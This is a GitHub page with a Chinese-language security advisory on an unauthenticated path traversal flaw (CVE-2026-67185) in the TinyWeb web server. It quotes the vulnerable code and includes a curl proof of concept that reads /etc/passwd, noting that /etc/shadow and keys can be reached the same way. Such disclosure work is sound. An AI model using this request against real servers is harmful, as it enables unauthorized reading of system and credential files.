theopaid/CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

GitHub: theopaid/CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

这是一份针对 TinyWeb Web 服务器的未授权路径遍历漏洞(CVE-2026-67185)安全公告,详细披露了因路径拼接缺乏规范化而导致的任意文件读取问题。

Stars: 0 | Forks: 0

# 安全公告:未经身份验证的路径遍历导致任意文件读取 **分配的 CVE ID:** CVE-2026-67185 ## 摘要 TinyWeb 通过将 Web 根目录与原样到达的请求 URL 进行拼接来构建要提供的文件路径,且没有任何规范化处理。未经身份验证的远程客户端可以在请求行中插入 `../` 序列,并读取服务器进程有权打开的任何文件,包括 Web 根目录之外的文件。 ## 受影响软件 - 项目:TinyWeb (https://github.com/GeneralSandwan/TinyWeb) - 构建报告的版本:`TnyWeb/0.0.8` - 受影响的提交:从首次以这种方式组装路径的 `0b3b5fd` (2019-01-09),到 `a381da2` (2023-11-22,`master` 分支上的最新提交)。 - 修复版本:无。该项目没有标记的发布版本;该范围内的每个发布修订版本都受到影响。 ## 分类 - CWE-22:将路径名限制不当至受限目录(“路径遍历”) - CVSS 4.0 基础分数:8.7(高) - 向量:`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` ## 威胁模型 能够访问服务器监听 TCP 端口(在默认配置中为 9090)的未经身份验证的远程攻击者。不需要凭证、不需要用户交互、也不需要事先访问权限。单个请求即可实现攻击。 ## 技术细节 `HttpBuilder::buildResponse()` 以配置的 Web 根目录开始,并直接附加来自解析请求的 URL 路径字段: ``` // src/tiny_http/http_responser.cc:80 sdsncat(&file_path, server.www.c_str(), server.www.size()); // src/tiny_http/http_responser.cc:83-87 if (url->field_set & (1 << HTTP_UF_PATH)) { unsigned int off = url->fields[HTTP_UF_PATH].offset; unsigned int len = url->fields[HTTP_UF_PATH].len; sdsncat(&file_path, url->data + off, len); } // src/tiny_http/http_responser.cc:90-94 std::string f(file_path.data, file_path.len); file_type = isRegularFile(f); if (0 == file_type) { return_val = file->setFile(f); // stat() + open() on the joined path } ``` 在第 86 行的路径拼接和第 94 行的文件系统调用之间,没有进行点段移除(RFC 3986 第 5.2.4 节),没有使用 `realpath()` 进行路径规范化,也没有检查结果是否保留在 `server.www` 内部。 URL 解析器同样没有过滤 `..`。在 `HttpParser::parseUrlChar()` 中,path 状态接受任何通过 `isUrlChar()` 的字符,而 `.` 是一个合法的 URL 字符,因此 `../` 会原封不动地到达 `buildResponse()`: ``` // src/tiny_http/http_parser.cc:653-654 case s_requ_path: //finished if (isUrlChar(ch)) return s_requ_path; ``` 随后,`HttpFile::setFile()` 会使用服务器进程的权限打开并提供产生的任何路径所指向的文件: ``` // src/tiny_http/http_model_file.cc:43 return_val = open(name.c_str(), O_RDONLY); ``` 注意:TinyWeb 从未对 URL 路径进行百分号解码,因此 `%2e%2e%2f` 不起作用。只有字面量的 `../` 形式有效。 ## 概念验证 1. 使用默认配置启动服务器(监听 9090 端口,从配置的 Web 根目录提供资源)。 2. 发送一个其路径攀升至 Web 根目录之上的请求。`--path-as-is` 标志可阻止 curl 在发送前合并 `../`: ``` curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd' ``` 3. 服务器响应 `200 OK` 并返回 `/etc/passwd` 的内容: ``` HTTP/1.1 200 OK Server: TinyWeb/0.0.8 Transfer-Encoding: chunked root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` 所需的 `../` 段的数量取决于 Web 根目录的深度。任何等于或大于 Web 根目录深度的数量都可以生效,因为内核会忽略文件系统根目录处的 `..`。 ## 影响 任何远程客户端都可以读取服务器进程有权打开的任何文件。在默认设置中,worker 以 root 身份运行,因此这包括 `/etc/shadow`、TLS 私钥、包含凭证的配置文件,以及 Web 根目录下应用程序自身的源代码。 ## 修复方案 使用 `realpath()` 对拼接后的路径进行规范化,并除非结果位于配置的 Web 根目录内,否则拒绝该请求。作为纵深防御措施,请根据 RFC 3986 第 5.2.4 节的规定在 URL 解析期间移除点段,并在执行该规范化之前对路径进行百分号解码。
标签:C++, Web服务器, 任意文件读取, 安全公告, 数据擦除, 漏洞披露, 路径穿越